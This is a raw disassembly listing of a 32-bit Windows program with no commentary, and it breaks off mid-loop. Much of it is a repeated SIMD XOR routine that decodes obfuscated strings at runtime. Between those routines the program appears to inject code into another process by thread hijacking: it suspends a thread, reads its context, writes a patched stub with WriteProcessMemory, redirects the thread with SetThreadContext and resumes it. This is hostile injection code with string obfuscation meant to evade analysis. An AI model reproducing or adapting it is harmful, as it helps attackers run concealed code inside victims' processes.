mov dword [esp + 0x38], eax
movups xmmword [esp + 0x20], xmm0
movq xmm0, qword [0x407488]
movq qword [esp + 0x30], xmm0
je 0x4049b4
xor edx, edx
mov dword [esp + 0x10], edx
cmp edi, 2
jl 0x404984
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x18
jl 0x404884
mov dword [esp + 0x10], edx
cmp edx, 0x1c
jge 0x4049b4
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x1c
jl 0x404984
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [esp + 0x1f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 4
push 0x3000
push 0x10000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
movups xmm0, xmmword [0x409018]
mov edx, dword [esp + 0x84]
mov edi, dword [esp + 0x80]
movups xmmword [eax], xmm0
mov dword [esp + 0x1c], eax
movups xmm0, xmmword [0x409028]
movups xmmword [eax + 0x10], xmm0
mov cl, byte [0x409038]
mov byte [eax + 0x20], cl
lea ecx, [eax + 1]
nop
mov al, byte [ecx - 1]
cmp al, 0xb8
jne 0x404a34
cmp dword [ecx], 0xcccccccc
jne 0x404a61
mov dword [ecx], edx
inc ecx
jmp 0x404a20
cmp al, 0x68
jne 0x404a4c
cmp dword [ecx], 0xcccccccc
jne 0x404a61
mov eax, dword [esp + 0x2b0]
mov dword [ecx], eax
inc ecx
jmp 0x404a20
cmp al, 0xba
jne 0x404a5d
cmp dword [ecx], 0xcccccccc
jne 0x404a61
mov dword [ecx], edi
inc ecx
jmp 0x404a20
cmp al, 0xc3
je 0x404a64
inc ecx
jmp 0x404a20
movups xmm0, xmmword [str.oKSOUSY]
mov al, byte [0x407648]
xor edx, edx
mov edi, dword [0x409410]
mov byte [esp + 0x48], al
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407630]
movups xmmword [esp + 0x30], xmm0
movq xmm0, qword [0x407640]
movq qword [esp + 0x40], xmm0
cmp edi, 2
jl 0x404be0
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x28
jl 0x404ae0
mov dword [esp + 0x10], edx
cmp edx, 0x29
jge 0x404c10
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x29
jl 0x404be0
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push 0
push 0x21
push dword [esp + 0x24]
push dword [esp + 0x20]
push dword [esp + 0x8c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov dword [esp + 0x10], edx
test eax, eax
jne 0x404e39
mov eax, dword [0x4076d0]
mov dword [esp + 0x58], eax
movups xmm0, xmmword [0x407698]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x4076a8]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x4076b8]
movups xmmword [esp + 0x40], xmm0
movq xmm0, qword [0x4076c8]
movq qword [esp + 0x50], xmm0
cmp edi, 2
jl 0x404dc0
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x38
jl 0x404cc0
mov dword [esp + 0x10], edx
cmp edx, 0x3c
jge 0x404df0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x3c
jl 0x404dc0
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov edi, dword [esp + 0x80]
add esp, 4
push 0x8000
push 0
push dword [esp + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x24]
jmp 0x402408
mov eax, dword [esp + 0x14]
mov dword [esp + 0x2b0], eax
mov ax, word [0x4074d4]
mov word [esp + 0x38], ax
mov al, byte [0x4074d6]
mov byte [esp + 0x3a], al
movups xmm0, xmmword [str.pPPZ_VWQa6_6_3h_9__aZQ]
movups xmmword [esp + 0x20], xmm0
movq xmm0, qword [0x4074cc]
movq qword [esp + 0x30], xmm0
cmp edi, 2
jl 0x404fb4
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
xor edx, edx
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x18
jl 0x404eb4
mov dword [esp + 0x10], edx
cmp edx, 0x1b
jge 0x404fe4
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x1b
jl 0x404fb4
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
lea eax, [esp + 0x1f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x4051c9
movups xmm0, xmmword [0x407594]
mov eax, dword [0x4075bc]
xor edx, edx
mov dword [esp + 0x48], eax
mov al, byte [0x4075c0]
mov byte [esp + 0x4c], al
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x4075a4]
movups xmmword [esp + 0x30], xmm0
movq xmm0, qword [0x4075b4]
movq qword [esp + 0x40], xmm0
cmp edi, 2
jl 0x405190
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x28
jl 0x405090
mov dword [esp + 0x10], edx
cmp edx, 0x2d
jge 0x4051c0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x2d
jl 0x405190
lea eax, [esp + 0x20]
jmp 0x404df4
movups xmm0, xmmword [str.jINQTPX_51_2g__8.___EP]
mov ax, word [0x407440]
mov word [esp + 0x38], ax
movups xmmword [esp + 0x20], xmm0
movq xmm0, qword [0x407438]
movq qword [esp + 0x30], xmm0
test ah, ah
je 0x405370
xor edx, edx
mov dword [esp + 0x10], edx
cmp edi, 2
jl 0x405340
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x18
jl 0x405240
mov dword [esp + 0x10], edx
cmp edx, 0x1a
jge 0x405370
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x1a
jl 0x405340
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x7c]
call esi
push 0x8000
push 0
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
movups xmm0, xmmword [0x407408]
mov eax, dword [0x407420]
xor edx, edx
mov dword [esp + 0x38], eax
mov al, byte [0x407424]
mov byte [esp + 0x3c], al
mov dword [esp + 0x10], edx
lea esi, [edx + 4]
movups xmmword [esp + 0x20], xmm0
movq xmm0, qword [0x407418]
movq qword [esp + 0x30], xmm0
cmp edi, 2
jl 0x405514
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 0x1f
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm5, esi
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x18
jl 0x405414
mov dword [esp + 0x10], edx
cmp edx, 0x1d
jge 0x405544
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x1d
jl 0x405514
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [esp + 0x20]
call fcn.00405c00
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x4074f4]
mov eax, dword [0x40752c]
xor edx, edx
mov dword [esp + 0x58], eax
mov ax, word [0x407530]
mov word [esp + 0x5c], ax
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407504]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x407514]
movups xmmword [esp + 0x40], xmm0
movq xmm0, qword [0x407524]
movq qword [esp + 0x50], xmm0
cmp edi, 2
jl 0x4056f0
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 0x1f
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm5, esi
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x38
jl 0x4055f0
mov dword [esp + 0x10], edx
cmp edx, 0x3e
jge 0x405720
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x3e
jl 0x4056f0
lea eax, [esp + 0x20]
push eax
call fcn.00401010
movups xmm0, xmmword [str.hJCXTR]
mov ax, word [0x407314]
add esp, 4
mov word [esp + 0x38], ax
movups xmmword [esp + 0x20], xmm0
movq xmm0, qword [0x40730c]
movq qword [esp + 0x30], xmm0
test ah, ah
je 0x4058d0
xor edx, edx
mov dword [esp + 0x10], edx
cmp edi, 2
jl 0x4058a0
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 0x1f
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm5, esi
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x18
jl 0x4057a0
mov dword [esp + 0x10], edx
cmp edx, 0x1a
jge 0x4058d0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x1a
jl 0x4058a0
lea eax, [esp + 0x20]
push eax
call fcn.00401010
movups xmm0, xmmword [0x4074f4]
mov eax, dword [0x40752c]
xor edx, edx
mov dword [esp + 0x5c], eax
add esp, 4
mov ax, word [0x407530]
mov word [esp + 0x5c], ax
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407504]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x407514]
movups xmmword [esp + 0x40], xmm0
movq xmm0, qword [0x407524]
movq qword [esp + 0x50], xmm0
cmp edi, 2
jl 0x405a64
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 0x1f
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm5, esi
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
